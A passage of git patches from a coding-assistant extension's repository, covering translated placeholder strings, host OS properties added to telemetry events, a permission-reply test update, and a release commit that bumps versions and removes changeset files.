"正在连接服务器...", "prompt.placeholder.error": "连接失败。请检查输出面板或重启扩展。", - "prompt.placeholder.default": "输入消息... (Enter 发送,Shift+Enter 换行)", + "prompt.placeholder.default": "输入消息,用 @ 提及文件... (Enter 发送,Shift+Enter 换行)", "context.usage.sessionCost": "会话费用", "context.usage.olderSessions": "{{count}} 个较早的会话", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts index 51410df421..fcdd8fbbf9 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts @@ -686,7 +686,7 @@ export const dict = { "prompt.placeholder.connecting": "正在連線至伺服器...", "prompt.placeholder.error": "連線失敗。請檢查輸出面板或重新啟動擴充功能。", - "prompt.placeholder.default": "輸入訊息... (Enter 送出,Shift+Enter 換行)", + "prompt.placeholder.default": "輸入訊息,用 @ 提及檔案... (Enter 送出,Shift+Enter 換行)", "context.usage.sessionCost": "工作階段費用", "context.usage.olderSessions": "{{count}} 個較早的工作階段", From 304c75e600cfbb0ec52b9c11e60b5782e4af5a37 Mon Sep 17 00:00:00 2001 From: Christiaan Arnoldus Date: Wed, 29 Jul 2026 12:59:48 +0200 Subject: [PATCH 035/100] feat(telemetry): include host OS properties --- .changeset/tidy-mice-report.md | 5 ++++ .../src/__tests__/telemetry.test.ts | 25 +++++++++++++++++-- packages/kilo-telemetry/src/telemetry.ts | 18 ++++++++++++- 3 files changed, 45 insertions(+), 3 deletions(-) create mode 100644 .changeset/tidy-mice-report.md diff --git a/.changeset/tidy-mice-report.md b/.changeset/tidy-mice-report.md new file mode 100644 index 0000000000..3ba5fbb6e9 --- /dev/null +++ b/.changeset/tidy-mice-report.md @@ -0,0 +1,5 @@ +--- +"@kilocode/kilo-telemetry": patch +--- + +Include the host operating system name, version, and architecture in telemetry events. diff --git a/packages/kilo-telemetry/src/__tests__/telemetry.test.ts b/packages/kilo-telemetry/src/__tests__/telemetry.test.ts index ff87bf6909..401384f855 100644 --- a/packages/kilo-telemetry/src/__tests__/telemetry.test.ts +++ b/packages/kilo-telemetry/src/__tests__/telemetry.test.ts @@ -1,4 +1,6 @@ -import { describe, test, expect, beforeEach } from "bun:test" +import { arch, platform, release } from "node:os" +import { describe, test, expect, beforeEach, spyOn } from "bun:test" +import { Client } from "../client.js" import { Identity } from "../identity.js" import { TelemetryEvent } from "../events.js" import { Telemetry } from "../telemetry.js" @@ -83,6 +85,26 @@ describe("TelemetryEvent", () => { }) describe("Telemetry", () => { + test("includes immutable host OS properties", () => { + const capture = spyOn(Client, "capture").mockImplementation(() => {}) + + Telemetry.track(TelemetryEvent.CLI_START, { + os_name: "overridden", + os_version: "overridden", + os_arch: "overridden", + }) + + expect(capture).toHaveBeenCalledWith( + TelemetryEvent.CLI_START, + expect.objectContaining({ + os_name: platform(), + os_version: release(), + os_arch: arch(), + }), + ) + capture.mockRestore() + }) + test("indexing helpers are exposed", () => { expect(typeof Telemetry.trackIndexingStarted).toBe("function") expect(typeof Telemetry.trackIndexingCompleted).toBe("function") @@ -96,4 +118,3 @@ describe("Telemetry", () => { expect(typeof Telemetry.trackSuggestionAccepted).toBe("function") }) }) - diff --git a/packages/kilo-telemetry/src/telemetry.ts b/packages/kilo-telemetry/src/telemetry.ts index 3ac0d42e39..22527181a5 100644 --- a/packages/kilo-telemetry/src/telemetry.ts +++ b/packages/kilo-telemetry/src/telemetry.ts @@ -1,3 +1,4 @@ +import { release } from "node:os" import { Client } from "./client.js" import { Identity } from "./identity.js" import { TelemetryEvent } from "./events.js" @@ -6,6 +7,9 @@ export interface TelemetryProperties { appName: string appVersion: string platform: string + os_name: string + os_version: string + os_arch: string editorName?: string vscodeVersion?: string } @@ -58,6 +62,9 @@ export namespace Telemetry { appName: "kilo-cli", appVersion: "unknown", platform: process.platform, + os_name: process.platform, + os_version: release(), + os_arch: process.arch, } export async function init(options: { dataPath: string; version: string; enabled: boolean }): Promise { @@ -109,6 +116,9 @@ export namespace Telemetry { appName: props.appName, appVersion: props.appVersion, platform: props.platform, + os_name: props.os_name, + os_version: props.os_version, + os_arch: props.os_arch, }) // Link the anonymous machineId to the authenticated email @@ -117,7 +127,13 @@ export namespace Telemetry { } export function track(event: TelemetryEvent, properties?: Record) { - Client.capture(event, { ...props, ...properties }) + Client.capture(event, { + ...props, + ...properties, + os_name: props.os_name, + os_version: props.os_version, + os_arch: props.os_arch, + }) } // CLI Lifecycle From a89132962dfcbf99bca59250c5245ac85353c4f4 Mon Sep 17 00:00:00 2001 From: Christiaan Arnoldus Date: Wed, 29 Jul 2026 13:05:06 +0200 Subject: [PATCH 036/100] refactor(telemetry): preserve event property precedence --- packages/kilo-telemetry/src/__tests__/telemetry.test.ts | 8 ++------ packages/kilo-telemetry/src/telemetry.ts | 8 +------- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/packages/kilo-telemetry/src/__tests__/telemetry.test.ts b/packages/kilo-telemetry/src/__tests__/telemetry.test.ts index 401384f855..939bb5dd24 100644 --- a/packages/kilo-telemetry/src/__tests__/telemetry.test.ts +++ b/packages/kilo-telemetry/src/__tests__/telemetry.test.ts @@ -85,14 +85,10 @@ describe("TelemetryEvent", () => { }) describe("Telemetry", () => { - test("includes immutable host OS properties", () => { + test("includes host OS properties", () => { const capture = spyOn(Client, "capture").mockImplementation(() => {}) - Telemetry.track(TelemetryEvent.CLI_START, { - os_name: "overridden", - os_version: "overridden", - os_arch: "overridden", - }) + Telemetry.track(TelemetryEvent.CLI_START) expect(capture).toHaveBeenCalledWith( TelemetryEvent.CLI_START, diff --git a/packages/kilo-telemetry/src/telemetry.ts b/packages/kilo-telemetry/src/telemetry.ts index 22527181a5..4d16051c2d 100644 --- a/packages/kilo-telemetry/src/telemetry.ts +++ b/packages/kilo-telemetry/src/telemetry.ts @@ -127,13 +127,7 @@ export namespace Telemetry { } export function track(event: TelemetryEvent, properties?: Record) { - Client.capture(event, { - ...props, - ...properties, - os_name: props.os_name, - os_version: props.os_version, - os_arch: props.os_arch, - }) + Client.capture(event, { ...props, ...properties }) } // CLI Lifecycle From 9275fa41932b792a83cf0239a9e401d044a992a3 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 13:11:03 +0200 Subject: [PATCH 037/100] test(vscode): expect interactive flag in permission reply assertions --- .../tests/unit/permission-recovery.test.ts | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/packages/kilo-vscode/tests/unit/permission-recovery.test.ts b/packages/kilo-vscode/tests/unit/permission-recovery.test.ts index df7a44d25d..406076ec60 100644 --- a/packages/kilo-vscode/tests/unit/permission-recovery.test.ts +++ b/packages/kilo-vscode/tests/unit/permission-recovery.test.ts @@ -141,7 +141,9 @@ describe("handlePermissionResponse", () => { await handlePermissionResponse(fake, "p1", "s1", "once", [], []) - expect(replies).toEqual([{ requestID: "p1", reply: "once", directory: "/workspace/.kilo/worktrees/feature" }]) + expect(replies).toEqual([ + { requestID: "p1", reply: "once", directory: "/workspace/.kilo/worktrees/feature", interactive: true }, + ]) }) it("saves selected rules and replies in the recorded SSE directory", async () => { @@ -158,7 +160,9 @@ describe("handlePermissionResponse", () => { deniedAlways: ["rm *"], }, ]) - expect(replies).toEqual([{ requestID: "p1", reply: "reject", directory: "/workspace/.kilo/worktrees/feature" }]) + expect(replies).toEqual([ + { requestID: "p1", reply: "reject", directory: "/workspace/.kilo/worktrees/feature", interactive: true }, + ]) }) it("treats an SDK-wrapped 404 while saving rules as stale", async () => { @@ -192,7 +196,9 @@ describe("handlePermissionResponse", () => { await handlePermissionResponse(fake, "p1", "s1", "once", [], []) - expect(replies).toEqual([{ requestID: "p1", reply: "once", directory: "/workspace/.kilo/worktrees/feature" }]) + expect(replies).toEqual([ + { requestID: "p1", reply: "once", directory: "/workspace/.kilo/worktrees/feature", interactive: true }, + ]) expect(permDirs.has("p1")).toBe(false) expect(messages).toEqual([{ type: "permissionError", permissionID: "p1", stale: true }]) }) From a0364858a6e1b69a2e2dc5434a82d5cefbe79ea7 Mon Sep 17 00:00:00 2001 From: "kilo-maintainer[bot]" Date: Wed, 29 Jul 2026 11:29:05 +0000 Subject: [PATCH 038/100] release: v7.4.17 --- .changeset/adaptive-opus-five.md | 5 -- .../agent-manager-modifier-shortcut-peek.md | 5 -- .changeset/agent-manager-side-terminal.md | 5 -- ...anager-terminal-destination-consistency.md | 5 -- .changeset/atomic-session-revert.md | 6 -- .changeset/auto-approve-slash-command.md | 5 -- .changeset/collapsible-context-sidebar.md | 5 -- .changeset/console-headless-credentials.md | 5 -- .changeset/exact-gpt-subscription.md | 5 -- .changeset/fast-agent-manager-terminals.md | 5 -- .changeset/fix-nix-bun-pin.md | 5 -- .changeset/fix-scoped-mode-cycling.md | 5 -- .changeset/fix-vscode-settings-save.md | 5 -- .changeset/fuzzy-tildes-smile.md | 5 -- .changeset/ingest-shutdown-flush.md | 5 -- .changeset/instant-prompt-tooltips.md | 5 -- .changeset/jetbrains-bundled-cli.md | 5 -- .changeset/jetbrains-queued-prompts.md | 5 -- .changeset/kilo-exa-websearch.md | 5 -- .changeset/multi-side-terminals.md | 5 -- .changeset/opencode-v1-17-5-to-v1-17-9.md | 30 -------- .changeset/prompt-placeholder-mention-hint.md | 5 -- .changeset/prompt-rail.md | 5 -- .changeset/pwsh-permission-fail-closed.md | 5 -- .changeset/quiet-json-events.md | 5 -- .changeset/quiet-vscode-watchers.md | 6 -- .changeset/reliable-vscode-message-copy.md | 5 -- .changeset/safe-windows-snapshot-diffs.md | 6 -- .changeset/stalled-provider-first-byte.md | 5 -- .changeset/steady-cli-subprocess-tests.md | 5 -- .changeset/steady-editor-tabs.md | 5 -- .changeset/superseded-turn-close.md | 6 -- .changeset/tidy-am-i18n-keys.md | 5 -- .changeset/tui-variant-shortcut-hint.md | 5 -- .changeset/worktree-hover-card-name.md | 5 -- bun.lock | 72 +++++++++--------- package.json | 2 +- packages/core/package.json | 2 +- packages/effect-drizzle-sqlite/package.json | 2 +- packages/effect-sqlite-node/package.json | 2 +- packages/extensions/zed/extension.toml | 12 +-- packages/http-recorder/package.json | 2 +- packages/kilo-console/package.json | 2 +- packages/kilo-docs/package.json | 2 +- packages/kilo-gateway/package.json | 2 +- packages/kilo-i18n/package.json | 2 +- packages/kilo-indexing/package.json | 2 +- packages/kilo-jetbrains/CHANGELOG.md | 12 +++ packages/kilo-memory/package.json | 2 +- packages/kilo-sandbox/package.json | 2 +- packages/kilo-telemetry/package.json | 2 +- packages/kilo-ui/package.json | 2 +- packages/kilo-vscode/CHANGELOG.md | 73 +++++++++++++++++++ packages/kilo-vscode/package.json | 2 +- packages/kilo-vscode/tests/package.json | 2 +- packages/kilo-web-ui/package.json | 2 +- packages/llm/package.json | 2 +- packages/opencode/CHANGELOG.md | 59 +++++++++++++++ packages/opencode/package.json | 2 +- packages/plugin-atomic-chat/package.json | 2 +- packages/plugin/package.json | 2 +- packages/script/package.json | 2 +- packages/sdk/js/package.json | 2 +- packages/server/package.json | 2 +- packages/storybook/package.json | 2 +- packages/tui/package.json | 2 +- packages/ui/package.json | 2 +- script/upstream/package.json | 2 +- 68 files changed, 214 insertions(+), 274 deletions(-) delete mode 100644 .changeset/adaptive-opus-five.md delete mode 100644 .changeset/agent-manager-modifier-shortcut-peek.md delete mode 100644 .changeset/agent-manager-side-terminal.md delete mode 100644 .changeset/agent-manager-terminal-destination-consistency.md delete mode 100644 .changeset/atomic-session-revert.md delete mode 100644 .changeset/auto-approve-slash-command.md delete mode 100644 .changeset/collapsible-context-sidebar.md delete mode 100644 .changeset/console-headless-credentials.md delete mode 100644 .changeset/exact-gpt-subscription.md delete mode 100644 .changeset/fast-agent-manager-terminals.md delete mode 100644 .changeset/fix-nix-bun-pin.md delete mode 100644 .changeset/fix-scoped-mode-cycling.md delete mode 100644 .changeset/fix-vscode-settings-save.md delete mode 100644 .changeset/fuzzy-tildes-smile.md delete mode 100644 .changeset/ingest-shutdown-flush.md delete mode 100644 .changeset/instant-prompt-tooltips.md delete mode 100644 .changeset/jetbrains-bundled-cli.md delete mode 100644 .changeset/jetbrains-queued-prompts.md delete mode 100644 .changeset/kilo-exa-websearch.md delete mode 100644 .changeset/multi-side-terminals.md delete mode 100644 .changeset/opencode-v1-17-5-to-v1-17-9.md delete mode 100644 .changeset/prompt-placeholder-mention-hint.md delete mode 100644 .changeset/prompt-rail.md delete mode 100644 .changeset/pwsh-permission-fail-closed.md delete mode 100644 .changeset/quiet-json-events.md delete mode 100644 .changeset/quiet-vscode-watchers.md delete mode 100644 .changeset/reliable-vscode-message-copy.md delete mode 100644 .changeset/safe-windows-snapshot-diffs.md delete mode 100644 .changeset/stalled-provider-first-byte.md delete mode 100644 .changeset/steady-cli-subprocess-tests.md delete mode 100644 .changeset/steady-editor-tabs.md delete mode 100644 .changeset/superseded-turn-close.md delete mode 100644 .changeset/tidy-am-i18n-keys.md delete mode 100644 .changeset/tui-variant-shortcut-hint.md delete mode 100644 .changeset/worktree-hover-card-name.md diff --git a/.changeset/adaptive-opus-five.md b/.changeset/adaptive-opus-five.md deleted file mode 100644 index 9d8cf6c1b3..0000000000 --- a/.changeset/adaptive-opus-five.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Support adaptive thinking levels for Claude Opus and Sonnet 5 and later. diff --git a/.changeset/agent-manager-modifier-shortcut-peek.md b/.changeset/agent-manager-modifier-shortcut-peek.md deleted file mode 100644 index 96ee306f0c..0000000000 --- a/.changeset/agent-manager-modifier-shortcut-peek.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": minor ---- - -Show the ⌘1-9 (Ctrl+1-9 on Windows/Linux) shortcut badges on every Agent Manager sidebar card while the modifier key is held, making it easy to see which number jumps to which worktree before pressing it. diff --git a/.changeset/agent-manager-side-terminal.md b/.changeset/agent-manager-side-terminal.md deleted file mode 100644 index 533da3233c..0000000000 --- a/.changeset/agent-manager-side-terminal.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": minor ---- - -Let users open Agent Manager terminals in the VS Code terminal or an embedded side panel. The terminal button's dropdown picks the destination; the side panel shares the right-hand inspector with the diff view and keeps running in the background when hidden. diff --git a/.changeset/agent-manager-terminal-destination-consistency.md b/.changeset/agent-manager-terminal-destination-consistency.md deleted file mode 100644 index 1bd4453d5b..0000000000 --- a/.changeset/agent-manager-terminal-destination-consistency.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Keep each Agent Manager panel's terminal destination consistent. A dropdown pick is now remembered per panel and no longer flips when another window rewrites the shared terminal destination setting, so the terminal shortcut keeps opening the terminal type that panel is actually using. The shortcut also no longer dead-ends on worktrees without an active session, and terminals left over from a reloaded webview are cleaned up instead of leaking. diff --git a/.changeset/atomic-session-revert.md b/.changeset/atomic-session-revert.md deleted file mode 100644 index ed922d1a6e..0000000000 --- a/.changeset/atomic-session-revert.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -"@kilocode/cli": patch -"kilo-code": patch ---- - -Keep conversations and workspace files unchanged when a checkpoint cannot be fully restored. diff --git a/.changeset/auto-approve-slash-command.md b/.changeset/auto-approve-slash-command.md deleted file mode 100644 index c6114bc3e2..0000000000 --- a/.changeset/auto-approve-slash-command.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Add a `/auto-approve` slash command in the TUI for toggling auto-approve mode, with aliases `/autoapprove`, `/approve-all`, and `/approveall`. The command dispatches the existing palette entry, so behavior matches the Ctrl+P "Enable/Disable auto-approve mode" toggle. diff --git a/.changeset/collapsible-context-sidebar.md b/.changeset/collapsible-context-sidebar.md deleted file mode 100644 index b9bf10549c..0000000000 --- a/.changeset/collapsible-context-sidebar.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Let the Context section in the TUI session sidebar collapse and expand on header click, matching the existing collapsible pattern used by Token Usage, Models, and Terminal Bench 2.0. When collapsed, the header shows a one-line summary of percent used and total cost. diff --git a/.changeset/console-headless-credentials.md b/.changeset/console-headless-credentials.md deleted file mode 100644 index 6c6102f467..0000000000 --- a/.changeset/console-headless-credentials.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Include basic-auth credentials in the Local and Network Console URLs printed by `kilo console`, so users on headless hosts (no `DISPLAY`/`WAYLAND_DISPLAY`, SSH sessions, CI runners) can open the URL in a browser on another machine and reach the Console. \ No newline at end of file diff --git a/.changeset/exact-gpt-subscription.md b/.changeset/exact-gpt-subscription.md deleted file mode 100644 index 05332f513e..0000000000 --- a/.changeset/exact-gpt-subscription.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Exclude GPT-5.6 from models available through ChatGPT subscriptions while retaining access to variants such as GPT-5.6 Sol. diff --git a/.changeset/fast-agent-manager-terminals.md b/.changeset/fast-agent-manager-terminals.md deleted file mode 100644 index 6beace30f4..0000000000 --- a/.changeset/fast-agent-manager-terminals.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Open Agent Manager terminals faster and avoid delayed shell prompts. diff --git a/.changeset/fix-nix-bun-pin.md b/.changeset/fix-nix-bun-pin.md deleted file mode 100644 index 5facef0667..0000000000 --- a/.changeset/fix-nix-bun-pin.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Keep Nix builds on the Bun version required by the repository. diff --git a/.changeset/fix-scoped-mode-cycling.md b/.changeset/fix-scoped-mode-cycling.md deleted file mode 100644 index d71009746d..0000000000 --- a/.changeset/fix-scoped-mode-cycling.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Update the visible agent mode when cycling modes in Kilo sidebars and pending session tabs. diff --git a/.changeset/fix-vscode-settings-save.md b/.changeset/fix-vscode-settings-save.md deleted file mode 100644 index c7ed178ad9..0000000000 --- a/.changeset/fix-vscode-settings-save.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Fix settings changes sometimes failing to save and apply in VS Code. diff --git a/.changeset/fuzzy-tildes-smile.md b/.changeset/fuzzy-tildes-smile.md deleted file mode 100644 index 39c76209f8..0000000000 --- a/.changeset/fuzzy-tildes-smile.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Preserve parenthesized tilde expressions as literal text in rendered chat messages. diff --git a/.changeset/ingest-shutdown-flush.md b/.changeset/ingest-shutdown-flush.md deleted file mode 100644 index 94ff86a5b1..0000000000 --- a/.changeset/ingest-shutdown-flush.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Fix session transcripts losing their final messages when the CLI exits — pending uploads are now flushed on shutdown and as soon as a session closes. diff --git a/.changeset/instant-prompt-tooltips.md b/.changeset/instant-prompt-tooltips.md deleted file mode 100644 index d34f46dc04..0000000000 --- a/.changeset/instant-prompt-tooltips.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Show prompt input toggle tooltips instantly on hover instead of after a delay. diff --git a/.changeset/jetbrains-bundled-cli.md b/.changeset/jetbrains-bundled-cli.md deleted file mode 100644 index d0239ff176..0000000000 --- a/.changeset/jetbrains-bundled-cli.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/kilo-jetbrains": minor ---- - -Publish a signed GitHub-hosted JetBrains plugin build with the CLI bundled for offline installation. diff --git a/.changeset/jetbrains-queued-prompts.md b/.changeset/jetbrains-queued-prompts.md deleted file mode 100644 index b22d8c8353..0000000000 --- a/.changeset/jetbrains-queued-prompts.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/kilo-jetbrains": patch ---- - -Allow sending prompts while a session is busy and show queued prompts with a remove action. diff --git a/.changeset/kilo-exa-websearch.md b/.changeset/kilo-exa-websearch.md deleted file mode 100644 index 58bd6ec146..0000000000 --- a/.changeset/kilo-exa-websearch.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Route the websearch tool's Exa requests through the Kilo proxy when signed into Kilo. The MCP-Exa transport is preserved as a fallback for users who set `EXA_API_KEY` or are not authenticated. A new `KILO_WEBSEARCH_PROVIDER=kilo-exa` env override forces the Kilo proxy path. Results are capped at 10. diff --git a/.changeset/multi-side-terminals.md b/.changeset/multi-side-terminals.md deleted file mode 100644 index 8b54a390d9..0000000000 --- a/.changeset/multi-side-terminals.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": minor ---- - -Support multiple Agent Manager side-panel terminals per context. The panel header is now a tab strip that reuses the main tab bar's terminal tabs: click to switch, drag to reorder, X to close a single terminal, and + to open another one. Terminal numbers fill gaps left by closed terminals, and tabs pick up the live title from the shell or running program (OSC escape codes), so a dev server or build names its own tab. diff --git a/.changeset/opencode-v1-17-5-to-v1-17-9.md b/.changeset/opencode-v1-17-5-to-v1-17-9.md deleted file mode 100644 index 5a019637c3..0000000000 --- a/.changeset/opencode-v1-17-5-to-v1-17-9.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -"@kilocode/cli": patch -"kilo-code": patch ---- - -Changes from opencode v1.17.5 to v1.17.9 upstream: - -- Core Bugfixes: Improved MCP server compatibility by declaring Kilo's supported client capabilities. -- Core Bugfixes: Plugin client requests now reuse the active server instead of assuming the default local port. -- Core Bugfixes: ACP shell tool calls now show the command and working directory from the start. -- Core Bugfixes: Plugin-provided shell environment variables now apply to PTY sessions. -- Core Bugfixes: OpenAI-compatible providers now accept MCP tool schemas that previously failed validation. (@jquense) -- Core Bugfixes: Cloudflare AI Gateway now receives the configured API key correctly. (@keefetang) -- Core Bugfixes: MCP tools without declared schema properties now work with providers that expect object properties. -- Core Bugfixes: Long-running MCP tools now keep their timeout alive when they report progress. (@Nomadcxx) -- Core Bugfixes: The MCP OAuth callback server now shuts down once authorization finishes or is cancelled. -- Core Bugfixes: MCP tool failures now surface the server's error text instead of a generic failure. -- Core Bugfixes: MCP OAuth error pages now escape provider error text correctly. -- Core Bugfixes: Honor configured agent step limits by forcing a final text response instead of failing mid-run. -- Core Bugfixes: Queue steering prompts before dismissing pending questions so the previous turn cannot resume first. -- Core Bugfixes: Prevent local server credentials from leaking into spawned PTY processes. -- Core Bugfixes: Fix Devstral model detection when provider IDs use different casing. (@Robin1987China) -- Core Bugfixes: Pass configured custom headers to Copilot model requests. -- Core Improvements: MCP servers can now receive the current workspace as a client root. -- Core Improvements: Session timelines load much faster and avoid flicker or scroll jumps. -- Core Improvements: Add `high` and `max` thinking variants for GLM-5.2 across supported providers. (@imranshaiedi-byte) -- Core Improvements: Stop wrapping follow-up user messages in a steering reminder so prompt caching stays effective. -- TUI Bugfixes: MCP debug now uses the SDK's latest protocol version. -- TUI Bugfixes: Only show the background subagent shortcut when the server supports it. -- UI Bugfixes: Render completed Mermaid blocks from diagram source instead of fenced Markdown. diff --git a/.changeset/prompt-placeholder-mention-hint.md b/.changeset/prompt-placeholder-mention-hint.md deleted file mode 100644 index dc533c1a2e..0000000000 --- a/.changeset/prompt-placeholder-mention-hint.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Mention `@` file references in the chat input placeholder so users know they can add file mentions. Translated across all supported languages. diff --git a/.changeset/prompt-rail.md b/.changeset/prompt-rail.md deleted file mode 100644 index 69ab09abab..0000000000 --- a/.changeset/prompt-rail.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": minor ---- - -Add a prompt navigator rail to the chat transcript. A thin rail of ticks on the left edge shows one tick per prompt you sent; hovering or focusing it expands a card listing those prompts with a short preview of the answer, and clicking jumps the transcript to that turn. It appears in the sidebar, Kilo editor tabs, the sub-agent viewer, and Agent Manager, and never changes the readable width of the chat. diff --git a/.changeset/pwsh-permission-fail-closed.md b/.changeset/pwsh-permission-fail-closed.md deleted file mode 100644 index cb140f33cd..0000000000 --- a/.changeset/pwsh-permission-fail-closed.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Fix bash permission rules being bypassed on PowerShell for commands containing a bare `--` such as `git checkout -- `. Commands the shell parser cannot parse now get checked against their raw command text instead of executing without a permission check. diff --git a/.changeset/quiet-json-events.md b/.changeset/quiet-json-events.md deleted file mode 100644 index bc7f513506..0000000000 --- a/.changeset/quiet-json-events.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Emit each agent event once from `kilo run --format json`. diff --git a/.changeset/quiet-vscode-watchers.md b/.changeset/quiet-vscode-watchers.md deleted file mode 100644 index 0f44b7cfda..0000000000 --- a/.changeset/quiet-vscode-watchers.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -"@kilocode/cli": patch -"kilo-code": patch ---- - -Prevent the VS Code backend from eagerly starting native file watchers for every Agent Manager worktree. diff --git a/.changeset/reliable-vscode-message-copy.md b/.changeset/reliable-vscode-message-copy.md deleted file mode 100644 index 566918cf93..0000000000 --- a/.changeset/reliable-vscode-message-copy.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Keep message and response copy buttons working after switching focus away from VS Code. diff --git a/.changeset/safe-windows-snapshot-diffs.md b/.changeset/safe-windows-snapshot-diffs.md deleted file mode 100644 index 55dd9e61bc..0000000000 --- a/.changeset/safe-windows-snapshot-diffs.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -"@kilocode/cli": patch -"kilo-code": patch ---- - -Keep Windows snapshot diffs parseable and preserve valid files when a stored patch is malformed. diff --git a/.changeset/stalled-provider-first-byte.md b/.changeset/stalled-provider-first-byte.md deleted file mode 100644 index 2d11921fd6..0000000000 --- a/.changeset/stalled-provider-first-byte.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Bound the wait for a provider's first response byte by the request timeout. A provider that accepts a request and returns headers but never sends body data now fails and retries instead of leaving the turn hanging after a tool call completes. The same `timeout` value now covers both the connection phase and the wait for the first byte as a single deadline; streaming responses that have already produced data are unaffected. diff --git a/.changeset/steady-cli-subprocess-tests.md b/.changeset/steady-cli-subprocess-tests.md deleted file mode 100644 index e95a9d4c73..0000000000 --- a/.changeset/steady-cli-subprocess-tests.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@kilocode/cli": patch ---- - -Stabilize cross-platform CLI subprocess tests under constrained CI runners diff --git a/.changeset/steady-editor-tabs.md b/.changeset/steady-editor-tabs.md deleted file mode 100644 index 84e5f2b0b5..0000000000 --- a/.changeset/steady-editor-tabs.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Open Kilo chats, settings, and files as tabs in the selected editor pane without creating, locking, or resizing editor panes. diff --git a/.changeset/superseded-turn-close.md b/.changeset/superseded-turn-close.md deleted file mode 100644 index 1e966a961a..0000000000 --- a/.changeset/superseded-turn-close.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -"@kilocode/cli": patch -"kilo-code": patch ---- - -Stop flashing a "Turn interrupted" warning when a follow-up message is queued while the assistant is still working. The running turn now closes with a dedicated "superseded" reason instead of "interrupted" when it hands off to the queued prompt, so the premature-stop warning only appears for real interruptions. diff --git a/.changeset/tidy-am-i18n-keys.md b/.changeset/tidy-am-i18n-keys.md deleted file mode 100644 index 85c3ca1581..0000000000 --- a/.changeset/tidy-am-i18n-keys.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Remove unused translation keys from the Agent Manager, sidebar webview, shared kilo-i18n, and autocomplete dictionaries across all locales, and add a conservative lint test for unreferenced, unprotected dictionary keys. diff --git a/.changeset/tui-variant-shortcut-hint.md b/.changeset/tui-variant-shortcut-hint.md deleted file mode 100644 index 8891876bdb..0000000000 --- a/.changeset/tui-variant-shortcut-hint.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Show the `Ctrl+T` variant cycling shortcut in the TUI prompt hint row whenever the active model exposes reasoning variants, as the first hint before the agent and command palette hints diff --git a/.changeset/worktree-hover-card-name.md b/.changeset/worktree-hover-card-name.md deleted file mode 100644 index 337d08e458..0000000000 --- a/.changeset/worktree-hover-card-name.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"kilo-code": patch ---- - -Show the worktree directory name on the Agent Manager worktree hover card diff --git a/bun.lock b/bun.lock index d22f4822ab..d98ffedb22 100644 --- a/bun.lock +++ b/bun.lock @@ -32,7 +32,7 @@ }, "packages/core": { "name": "@opencode-ai/core", - "version": "7.4.16", + "version": "7.4.17", "bin": { "opencode": "./bin/opencode", }, @@ -127,7 +127,7 @@ }, "packages/effect-drizzle-sqlite": { "name": "@opencode-ai/effect-drizzle-sqlite", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "drizzle-orm": "catalog:", "effect": "catalog:", @@ -141,7 +141,7 @@ }, "packages/effect-sqlite-node": { "name": "@opencode-ai/effect-sqlite-node", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "effect": "catalog:", }, @@ -153,7 +153,7 @@ }, "packages/http-recorder": { "name": "@opencode-ai/http-recorder", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@effect/platform-node": "4.0.0-beta.74", "@effect/platform-node-shared": "4.0.0-beta.74", @@ -174,7 +174,7 @@ }, "packages/kilo-console": { "name": "@kilocode/kilo-console", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/kilo-indexing": "workspace:*", "@kilocode/kilo-web-ui": "workspace:*", @@ -197,7 +197,7 @@ }, "packages/kilo-docs": { "name": "@kilocode/kilo-docs", - "version": "7.4.16", + "version": 